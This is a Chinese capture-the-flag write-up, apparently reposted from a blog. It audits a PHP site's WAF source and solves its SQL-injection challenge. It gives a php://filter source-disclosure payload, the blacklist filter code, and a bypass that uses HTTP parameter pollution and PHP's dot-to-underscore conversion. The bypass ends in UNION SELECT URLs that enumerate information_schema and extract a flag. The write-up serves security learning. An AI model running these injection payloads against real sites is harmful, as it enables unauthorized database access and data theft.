HPP结合PHP解析URL特性的SQL注入题目

看到URL中有:index.php?file=CN
要有利用伪协议的思路:

php://filter/read=convert.base64-encode/resource=index

再结合dirbuster扫描后台得出waf,function,index,config,global,content多个php,了解了该网站的WAF策略:

	#function.php
	<?php
	include './config.php'; 
	function select($sql){
	    $re = mysql_query($sql);
	    $arr = array();
	    while ($row = mysql_fetch_array($re)) {
	        $arr[] = $row;
	    }
	    return $arr;
	}
	function filtering($str) {
	    $check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|\"', $str);
	    if($check)
	    {
	        echo "非法字符!";
	        exit();
	    }
	
	    $newstr="";
	    while($newstr!=$str){
	    $newstr=$str;
	    $str = str_replace("script", "", $str);
	    $str = str_replace("execute", "", $str);
	    $str = str_replace("update", "", $str);
	    $str = str_replace("master", "", $str);
	    $str = str_replace("truncate", "", $str);
	    $str = str_replace("declare", "", $str);
	    $str = str_replace("select", "", $str);
	    $str = str_replace("create", "", $str);
	    $str = str_replace("delete", "", $str);
	    $str = str_replace("insert", "", $str);
	    $str = str_replace("\'", "", $str);
	
	    }
	    return $str;
	}
	function safe_str($str){
	    if(!get_magic_quotes_gpc()) {
	        if( is_array($str) ) {
	            foreach($str as $key => $value) {
	                $str[$key] = safe_str($value);
	            }
	        }else{
	            $str = addslashes($str);
	        }
	    }
	    return $str;
	}
	
	function dhtmlspecialchars($string) {
	    if(is_array($string)) {
	        foreach($string as $key => $val) {
	            $string[$key] = dhtmlspecialchars($val);
	        }
	    } else {
	        $string = str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string);
	        if(strpos($string, '&#') !== false) {
	            $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
	        }
	    }
	    return $string;
	}
	
	?>

	#waf.php
	<?php
	foreach ($_GET as $key => $value) {
	    if ($key != "username"&&strstr($key, "password") == false) {
	        $_GET[$key] = filtering($value);
	    }
	}
	foreach ($_POST as $key => $value) {
	    if ($key != "username"&&strstr($key, "password") == false) {
	        $_POST[$key] = filtering($value);
	    }
	}
	foreach ($_REQUEST as $key => $value) {
	    if ($key != "username"&&strstr($key, "password") == false) {
	        $_REQUEST[$key] =   ($value);
	    }
	}
	
	$request_uri = explode("?", $_SERVER['REQUEST_URI']);
	if (isset($request_uri[1])) {
	    $rewrite_url = explode("&", $request_uri[1]);
	    foreach ($rewrite_url as $key => $value) {
	        $_value = explode("=", $value);
	        if (isset($_value[1])) {
	            $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
	        }
	    }
	}
	
	foreach ($_POST as $key => $value) {
	    $_POST[$key] = safe_str($value);
	    $_GET[$key] = dhtmlspecialchars($value);
	}
	foreach ($_COOKIE as $key => $value) {
	    $_COOKIE[$key] = safe_str($value);
	    $_GET[$key] = dhtmlspecialchars($value);
	}
	    
	?>

通过审计可知WAF非常严格:
在function.php中,对所有select,union等常用的关键字都进行了正则结合replace的过滤。
在waf.php中,对url中按’?‘分割开,然后对分隔开的第二个进行处理——再按’&‘分开,然后再按’='分开,再把值赋给$_REQUEST,例如:

http://ip:port/content.php?title_id=0/**/union/**/select/**/1,2,3,4/**/from/**/content&title.id=1

会先被分割为

['http://ip:port/content.php','title_id=0/**/union/**/select/**/1,2,3,4/**/from/**/content&title.id=1']  

然后再对request_uri[1]按’&'分割:

['title_id=0/**/union/**/select/**/1,2,3,4/**/from/**/content','title.id=1']

再对两个参数逐一进行addslashes()(自动转义单引号(’)、双引号(")、反斜线(\)与 NUL(NULL 字符))和dhtmlspecialchars()(对()替换)过滤

解题思路:

首先需要了解网站waf和过滤流程,url传递进入后首先通过waf.php调用filtering(),如果出现黑名单上的关键字即进入Hacker页面,然后再对url手工分割,并存入$_REQUEST,后提取$title_id进行sql查询

extract($_REQUEST);
if(empty($_GET['title_id'])){
    die("<script =\"JavaScript\"> alert('...');self.location='./index.php';</script> ");
}
$sql = "select * from content where title_id=$title_id";
$arr = select($sql);

了解了流程后就思考如何能绕过waf,并将查询语句赋给$_REQUEST
这里就要用到php的两个特性:

  1. HPP:当在url传递两个同名参数时,根据引擎和服务器的搭配会有不同的取舍原则,其中apache+php会取第二参数
  2. .,_转换,在$_REQUEST等超全局变量中,php会自动将.识别为_

所以我们可以根据这两条特性和已知sql语句构建payload找出列数为4:

http://ip:port/content.php?title_id=1/**/order/**/by/**/4&title.id=1

再找出回显列数,其中2,3可显:

http://ip:port/content.php?title_id=0/**/union/**/select/**/1,2,3,4&title.id=1

利用系统表结合LIMIT爆破表,可查到存在flag表:

http://ip:port/content.php?title_id=0/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x77656231/**/limit/**/1,1&title.id=1

再爆破flag表的列,调整Limit的值获得存在列名flag:

http://ip:port/content.php?title_id=0/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/0x666c6167/**/limit/**/1,1&title.id=1

再获取flag表,flag列的值:

http://106.14.114.127:21013/content.php?title_id=0/**/union/**/select/**/1,flag,3,4/**/from/**/flag&title.id=1

注意:
由于对引号和等于号都有相应的过滤,所以在构建payload时一定得注意规避,也就是说在写payload之前一定得搞清楚过滤规则

在python中可以直接进行string和hex的转换:

'string'.encode('hex')
'hexstring'.decode('hex')

猜你喜欢

转载自blog.csdn.net/u013457794/article/details/88998201